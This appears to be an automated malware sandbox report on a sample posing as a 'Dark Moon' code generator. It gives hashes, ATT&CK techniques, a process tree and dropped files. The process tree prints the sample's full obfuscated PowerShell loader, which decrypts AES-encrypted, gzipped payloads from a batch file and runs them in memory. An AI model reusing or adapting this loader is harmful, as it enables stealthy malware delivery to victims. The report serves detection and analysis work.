e3b738d063a721f7fbc486125d6ff34e238f1f1ff5561af2b6db80eec5ae5654

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
02/06/2024, 14:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DarkMoon_Gen_1-3/starter.bat
Size 51B
Sample240602-sajstsfh86
SHA256 97c5438395ba799a673564195db730de8d9742a7a141566fa7c9075c46e3a039
MD5 abc778ba27885c72f364ad89b1306862
SHA1 2d4bfe8e2de4390109e8fa786ad47ec68daeaffe
SHA512 65a9bcdb3493526dd0b340aacabd30cd2e577a03cac920341e7be041e8de133ced0ab45c14a2509fbbd6f2451ac3ef1f5d520328d44f06aa4af6bfb122991f8f
MD5 SHA1 SHA512

Score

7^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2172	uni.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1688	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	main.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
2	discord.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 13 IoCs

evasion

pid	Process
576	timeout.exe
2876	timeout.exe
1224	timeout.exe
3008	timeout.exe
2656	timeout.exe
2628	timeout.exe
2496	timeout.exe
892	timeout.exe
2804	timeout.exe
2248	timeout.exe
1652	timeout.exe
1332	timeout.exe
2112	timeout.exe

Runs ping.exe 1 TTPs 17 IoCs

Remote System Discovery

T1018

pid	Process
2784	PING.EXE
1800	PING.EXE
2880	PING.EXE
600	PING.EXE
2772	PING.EXE
2544	PING.EXE
1360	PING.EXE
2536	PING.EXE
2104	PING.EXE
2624	PING.EXE
2512	PING.EXE
2472	PING.EXE
2836	PING.EXE
1444	PING.EXE
2648	PING.EXE
2288	PING.EXE
2644	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2172	uni.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2172	uni.bat.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 1688	1716	cmd.exe	29
PID 1716 wrote to memory of 1688	1716	cmd.exe	29
PID 1716 wrote to memory of 1688	1716	cmd.exe	29
PID 1716 wrote to memory of 2096	1716	cmd.exe	30
PID 1716 wrote to memory of 2096	1716	cmd.exe	30
PID 1716 wrote to memory of 2096	1716	cmd.exe	30
PID 2096 wrote to memory of 3060	2096	main.exe	32
PID 2096 wrote to memory of 3060	2096	main.exe	32
PID 2096 wrote to memory of 3060	2096	main.exe	32
PID 3060 wrote to memory of 2652	3060	cmd.exe	34
PID 3060 wrote to memory of 2652	3060	cmd.exe	34
PID 3060 wrote to memory of 2652	3060	cmd.exe	34
PID 3060 wrote to memory of 2656	3060	cmd.exe	35
PID 3060 wrote to memory of 2656	3060	cmd.exe	35
PID 3060 wrote to memory of 2656	3060	cmd.exe	35
PID 3060 wrote to memory of 2772	3060	cmd.exe	36
PID 3060 wrote to memory of 2772	3060	cmd.exe	36
PID 3060 wrote to memory of 2772	3060	cmd.exe	36
PID 3060 wrote to memory of 2648	3060	cmd.exe	37
PID 3060 wrote to memory of 2648	3060	cmd.exe	37
PID 3060 wrote to memory of 2648	3060	cmd.exe	37
PID 3060 wrote to memory of 2288	3060	cmd.exe	38
PID 3060 wrote to memory of 2288	3060	cmd.exe	38
PID 3060 wrote to memory of 2288	3060	cmd.exe	38
PID 3060 wrote to memory of 2624	3060	cmd.exe	39
PID 3060 wrote to memory of 2624	3060	cmd.exe	39
PID 3060 wrote to memory of 2624	3060	cmd.exe	39
PID 3060 wrote to memory of 2544	3060	cmd.exe	40
PID 3060 wrote to memory of 2544	3060	cmd.exe	40
PID 3060 wrote to memory of 2544	3060	cmd.exe	40
PID 3060 wrote to memory of 2536	3060	cmd.exe	41
PID 3060 wrote to memory of 2536	3060	cmd.exe	41
PID 3060 wrote to memory of 2536	3060	cmd.exe	41
PID 3060 wrote to memory of 2644	3060	cmd.exe	42
PID 3060 wrote to memory of 2644	3060	cmd.exe	42
PID 3060 wrote to memory of 2644	3060	cmd.exe	42
PID 3060 wrote to memory of 2104	3060	cmd.exe	43
PID 3060 wrote to memory of 2104	3060	cmd.exe	43
PID 3060 wrote to memory of 2104	3060	cmd.exe	43
PID 3060 wrote to memory of 2512	3060	cmd.exe	44
PID 3060 wrote to memory of 2512	3060	cmd.exe	44
PID 3060 wrote to memory of 2512	3060	cmd.exe	44
PID 3060 wrote to memory of 2628	3060	cmd.exe	45
PID 3060 wrote to memory of 2628	3060	cmd.exe	45
PID 3060 wrote to memory of 2628	3060	cmd.exe	45
PID 1688 wrote to memory of 2172	1688	cmd.exe	46
PID 1688 wrote to memory of 2172	1688	cmd.exe	46
PID 1688 wrote to memory of 2172	1688	cmd.exe	46
PID 3060 wrote to memory of 2472	3060	cmd.exe	47
PID 3060 wrote to memory of 2472	3060	cmd.exe	47
PID 3060 wrote to memory of 2472	3060	cmd.exe	47
PID 3060 wrote to memory of 2496	3060	cmd.exe	48
PID 3060 wrote to memory of 2496	3060	cmd.exe	48
PID 3060 wrote to memory of 2496	3060	cmd.exe	48
PID 3060 wrote to memory of 2784	3060	cmd.exe	49
PID 3060 wrote to memory of 2784	3060	cmd.exe	49
PID 3060 wrote to memory of 2784	3060	cmd.exe	49
PID 3060 wrote to memory of 2804	3060	cmd.exe	50
PID 3060 wrote to memory of 2804	3060	cmd.exe	50
PID 3060 wrote to memory of 2804	3060	cmd.exe	50
PID 3060 wrote to memory of 2836	3060	cmd.exe	51
PID 3060 wrote to memory of 2836	3060	cmd.exe	51
PID 3060 wrote to memory of 2836	3060	cmd.exe	51
PID 3060 wrote to memory of 2248	3060	cmd.exe	52

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\starter.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K uni.bat
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1688
- - C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
    "uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2172
- C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\main.exe
  main.exe
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\cmd.exe
    cmd /c "Dark Moon gen.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2652
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:2656
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2772
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2648
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2288
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2624
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2544
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2536
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2644
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2104
  - - C:\Windows\system32\PING.EXE
      ping discord.com
      4⤵
      Runs ping.exe
      PID:2512
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2628
  - - C:\Windows\system32\PING.EXE
      ping www.paysafecard.com
      4⤵
      Runs ping.exe
      PID:2472
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2496
  - - C:\Windows\system32\PING.EXE
      ping www.amazon.com
      4⤵
      Runs ping.exe
      PID:2784
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2804
  - - C:\Windows\system32\PING.EXE
      ping play.google.com
      4⤵
      Runs ping.exe
      PID:2836
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2248
  - - C:\Windows\system32\PING.EXE
      ping store.steampowered.com
      4⤵
      Runs ping.exe
      PID:1360
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:1652
  - - C:\Windows\system32\PING.EXE
      ping netflix.com
      4⤵
      Runs ping.exe
      PID:1800
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:1332
  - - C:\Windows\system32\PING.EXE
      ping www.spotify.com
      4⤵
      Runs ping.exe
      PID:2880
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:576
  - - C:\Windows\system32\PING.EXE
      ping www.xbox.com
      4⤵
      Runs ping.exe
      PID:600
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2876
  - - C:\Windows\system32\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1224
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:892
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:3008
  - - C:\Windows\system32\PING.EXE
      ping www.google.com
      4⤵
      Runs ping.exe
      PID:1444
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:2112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

uni.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Dark Moon gen.bat

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dark Moon gen.bat
Size 35KB
SHA256 2fa64c968a0fe02d626a225ecc2e1e4a5185f73d70a0557f32f2bbea76361005
MD5 c153581143e0b72cecae38a393991a4b
SHA1 da43d03b19765594ff124415a060551343823a39
SHA512 8c9807f4a3044f49d99e5b1c2a20d112eba61570fa0e725777a3bd84d6a0e7df1c604579863e27c6d0617c2c84fa4ae8c3b7525e37f7e7ee9c6ef26b6c9db40f
SSDEEP 768:sQFlE38u/LOzTWyv+C42E42aSCghIcjH3oyjoyhPekLLokLL76VkLLHwkLDkLP9J:sQFl48GLOzTWyv+C42E42aSCghIcjH3e
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2172-8-0x000000001B4B0000-0x000000001B792000-memory.dmp

Download

memory/2172-9-0x0000000001E70000-0x0000000001E78000-memory.dmp

Download